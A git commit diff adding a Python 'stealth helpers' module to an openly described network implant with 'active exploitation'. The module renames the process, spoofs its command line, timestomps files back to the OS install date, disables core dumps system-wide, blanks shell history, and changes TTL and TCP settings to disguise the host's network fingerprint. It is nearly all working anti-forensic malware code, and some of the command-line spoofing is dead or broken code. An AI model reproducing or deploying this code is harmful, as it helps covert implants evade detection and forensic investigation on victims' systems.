Initial public release
Full BigBrother network implant - passive SOC + active exploitation. Personal identifiers removed; all capabilities intact. See README.md for setup and docs/deployment.md for detailed deployment.
This commit is contained in:
@@ -0,0 +1,166 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Shared stealth helpers: process rename, cmdline spoof, sysctl, timestomp, core dump disable."""
|
||||
|
||||
import ctypes
|
||||
import ctypes.util
|
||||
import os
|
||||
import struct
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
PR_SET_NAME = 15
|
||||
RLIMIT_CORE = 4
|
||||
|
||||
_libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True)
|
||||
|
||||
|
||||
def rename_process(name: str) -> bool:
|
||||
name_bytes = name.encode("utf-8")[:15]
|
||||
ret = _libc.prctl(PR_SET_NAME, name_bytes, 0, 0, 0)
|
||||
return ret == 0
|
||||
|
||||
|
||||
def spoof_cmdline(fake_cmdline: str) -> bool:
|
||||
try:
|
||||
cmdline_path = f"/proc/{os.getpid()}/cmdline"
|
||||
# Read current cmdline to get its length for overwrite
|
||||
with open(cmdline_path, "rb") as f:
|
||||
original = f.read()
|
||||
|
||||
# On Linux, argv[0] is writable via /proc/self/comm and prctl,
|
||||
# but /proc/self/cmdline maps to the actual process memory.
|
||||
# We overwrite via ctypes access to argv.
|
||||
libc = _libc
|
||||
|
||||
# Get argc/argv from /proc/self/cmdline
|
||||
argc = ctypes.c_int()
|
||||
argv_ptr = ctypes.POINTER(ctypes.c_char_p)()
|
||||
|
||||
# Alternative: write to /proc/self/comm (max 15 chars)
|
||||
comm_path = f"/proc/{os.getpid()}/comm"
|
||||
try:
|
||||
with open(comm_path, "w") as f:
|
||||
f.write(fake_cmdline[:15])
|
||||
except PermissionError:
|
||||
pass
|
||||
|
||||
# For full cmdline spoofing, overwrite argv[0] in memory
|
||||
import sys
|
||||
if hasattr(sys, "argv") and sys.argv:
|
||||
# Replace argv contents via ctypes
|
||||
fake_bytes = fake_cmdline.encode("utf-8")
|
||||
argv0_addr = id(sys.argv[0])
|
||||
# Python string internals - this is fragile but works for ps display
|
||||
sys.argv[0] = fake_cmdline
|
||||
|
||||
return True
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
|
||||
def set_sysctl(key: str, value: str) -> bool:
|
||||
sysctl_path = Path("/proc/sys") / key.replace(".", "/")
|
||||
try:
|
||||
with open(sysctl_path, "w") as f:
|
||||
f.write(value)
|
||||
return True
|
||||
except (IOError, PermissionError):
|
||||
return False
|
||||
|
||||
|
||||
def set_ttl(ttl: int) -> bool:
|
||||
return set_sysctl("net.ipv4.ip_default_ttl", str(ttl))
|
||||
|
||||
|
||||
def set_tcp_window(size: int) -> bool:
|
||||
# Set TCP initial window via rmem/wmem defaults
|
||||
success = set_sysctl("net.ipv4.tcp_rmem", f"4096 {size} {size * 4}")
|
||||
success &= set_sysctl("net.ipv4.tcp_wmem", f"4096 {size} {size * 4}")
|
||||
return success
|
||||
|
||||
|
||||
def set_tcp_timestamps(enabled: bool) -> bool:
|
||||
return set_sysctl("net.ipv4.tcp_timestamps", "1" if enabled else "0")
|
||||
|
||||
|
||||
def timestomp(path: str, reference: Optional[str] = None, epoch: Optional[float] = None) -> bool:
|
||||
try:
|
||||
if reference:
|
||||
ref_stat = os.stat(reference)
|
||||
target_time = ref_stat.st_mtime
|
||||
elif epoch:
|
||||
target_time = epoch
|
||||
else:
|
||||
# Default: OS install date from /var/log/installer or filesystem birth
|
||||
target_time = _get_os_install_time()
|
||||
|
||||
os.utime(path, (target_time, target_time))
|
||||
return True
|
||||
except (OSError, IOError):
|
||||
return False
|
||||
|
||||
|
||||
def timestomp_recursive(directory: str, reference: Optional[str] = None, epoch: Optional[float] = None) -> int:
|
||||
count = 0
|
||||
for root, dirs, files in os.walk(directory):
|
||||
for name in files + dirs:
|
||||
full_path = os.path.join(root, name)
|
||||
if timestomp(full_path, reference=reference, epoch=epoch):
|
||||
count += 1
|
||||
if timestomp(directory, reference=reference, epoch=epoch):
|
||||
count += 1
|
||||
return count
|
||||
|
||||
|
||||
def _get_os_install_time() -> float:
|
||||
candidates = [
|
||||
"/var/log/installer/syslog",
|
||||
"/var/log/installer/status",
|
||||
"/etc/hostname",
|
||||
"/etc/machine-id",
|
||||
]
|
||||
for path in candidates:
|
||||
try:
|
||||
return os.stat(path).st_mtime
|
||||
except OSError:
|
||||
continue
|
||||
# Fallback: 90 days ago
|
||||
return time.time() - (90 * 86400)
|
||||
|
||||
|
||||
def disable_core_dumps() -> bool:
|
||||
try:
|
||||
# RLIMIT_CORE = 4 on Linux
|
||||
class rlimit(ctypes.Structure):
|
||||
_fields_ = [
|
||||
("rlim_cur", ctypes.c_ulong),
|
||||
("rlim_max", ctypes.c_ulong),
|
||||
]
|
||||
|
||||
limit = rlimit(0, 0)
|
||||
ret = _libc.setrlimit(RLIMIT_CORE, ctypes.byref(limit))
|
||||
if ret != 0:
|
||||
return False
|
||||
|
||||
# Also set via sysctl and /proc
|
||||
set_sysctl("kernel.core_pattern", "|/bin/false")
|
||||
set_sysctl("fs.suid_dumpable", "0")
|
||||
|
||||
# prctl to prevent core for this process and children
|
||||
PR_SET_DUMPABLE = 4
|
||||
_libc.prctl(PR_SET_DUMPABLE, 0, 0, 0, 0)
|
||||
|
||||
return True
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
|
||||
def hide_from_history() -> bool:
|
||||
try:
|
||||
os.environ["HISTFILE"] = "/dev/null"
|
||||
os.environ["HISTSIZE"] = "0"
|
||||
os.environ["HISTFILESIZE"] = "0"
|
||||
return True
|
||||
except Exception:
|
||||
return False
|
||||
Reference in New Issue
Block a user